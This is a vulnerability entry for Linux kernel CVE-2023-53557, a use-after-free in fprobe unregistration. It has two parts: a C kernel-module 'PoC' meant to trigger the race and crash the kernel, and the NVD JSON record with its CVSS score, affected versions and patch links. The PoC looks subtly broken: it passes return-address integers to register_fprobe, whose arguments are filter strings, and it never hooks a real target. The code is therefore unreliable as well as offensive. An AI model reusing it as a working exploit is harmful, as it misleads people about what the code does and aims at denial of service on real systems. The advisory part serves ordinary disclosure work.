CVE-2023-53557

// PoC: Trigger CVE-2023-53557 via BPF selftests // This PoC triggers the use-after-free by racing fprobe unregister // with concurrent fprobe handler execution on another CPU. #include <linux/module.h> #include <linux/kernel.h> #include <linux/fprobe.h> #include <linux/delay.h> #include <linux/kthread.h> static unsigned long target_func_addr = 0; static struct fprobe fp; static int fprobe_entry_handler(struct fprobe *fp, unsigned long entry_ip, unsigned long ret_ip, void *data) { // Simulate work that keeps the handler running // while another thread tries to unregister mdelay(10); return 0; } static int unregister_thread(void *data) { // Race: unregister while handlers may still be running unregister_fprobe(&fp); return 0; } static int __init trigger_uaf_init(void) { int ret; // Initialize fprobe on a target function fp.entry_handler = fprobe_entry_handler; ret = register_fprobe(&fp, (unsigned long)__builtin_return_address(0), (unsigned long)__builtin_return_address(0) + 0x100); if (ret < 0) return ret; // Spawn thread to unregister concurrently kthread_run(unregister_thread, NULL, "fprobe_unreg"); return 0; } static void __exit trigger_uaf_exit(void) { // Cleanup } module_init(trigger_uaf_init); module_exit(trigger_uaf_exit); MODULE_LICENSE("GPL");

{"cve": {"id": "CVE-2023-53557", "sourceIdentifier": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "published": "2025-10-04T16:15:51.050", "lastModified": "2026-03-21T00:59:31.447", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "In the Linux kernel, the following vulnerability has been resolved:\n\nfprobe: Release rethook after the ftrace_ops is unregistered\n\nWhile running bpf selftests it's possible to get following fault:\n\n general protection fault, probably for non-canonical address \\\n 0x6b6b6b6b6b6b6b6b: 0000 [#1] PREEMPT SMP DEBUG_PAGEALLOC NOPTI\n ...\n Call Trace:\n <TASK>\n fprobe_handler+0xc1/0x270\n ? __pfx_bpf_testmod_init+0x10/0x10\n ? __pfx_bpf_testmod_init+0x10/0x10\n ? bpf_fentry_test1+0x5/0x10\n ? bpf_fentry_test1+0x5/0x10\n ? bpf_testmod_init+0x22/0x80\n ? do_one_initcall+0x63/0x2e0\n ? rcu_is_watching+0xd/0x40\n ? kmalloc_trace+0xaf/0xc0\n ? do_init_module+0x60/0x250\n ? __do_sys_finit_module+0xac/0x120\n ? do_syscall_64+0x37/0x90\n ? entry_SYSCALL_64_after_hwframe+0x72/0xdc\n </TASK>\n\nIn unregister_fprobe function we can't release fp->rethook while it's\npossible there are some of its users still running on another cpu.\n\nMoving rethook_free call after fp->ops is unregistered with\nunregister_ftrace_function call."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H", "baseScore": 5.5, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "NVD-CWE-noinfo"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "5.18", "versionEndExcluding": "6.1.40", "matchCriteriaId": "38286689-0DC4-488B-9C9D-06EA4998CA6F"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.2", "versionEndExcluding": "6.4.5", "matchCriteriaId": "923F6AEA-C2EF-4B08-B038-69A18F3D41F8"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:6.5:rc1:*:*:*:*:*:*", "matchCriteriaId": "0B3E6E4D-E24E-4630-B00C-8C9901C597B0"}]}]}], "references": [{"url": "https://git.kernel.org/stable/c/03d63255a5783243c110aec5e6ae2f1475c3be76", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/5f81018753dfd4989e33ece1f0cb6b8aae498b82", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/ce3ec57faff559ccae1e0150c1f077eb2df648a4", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}]}}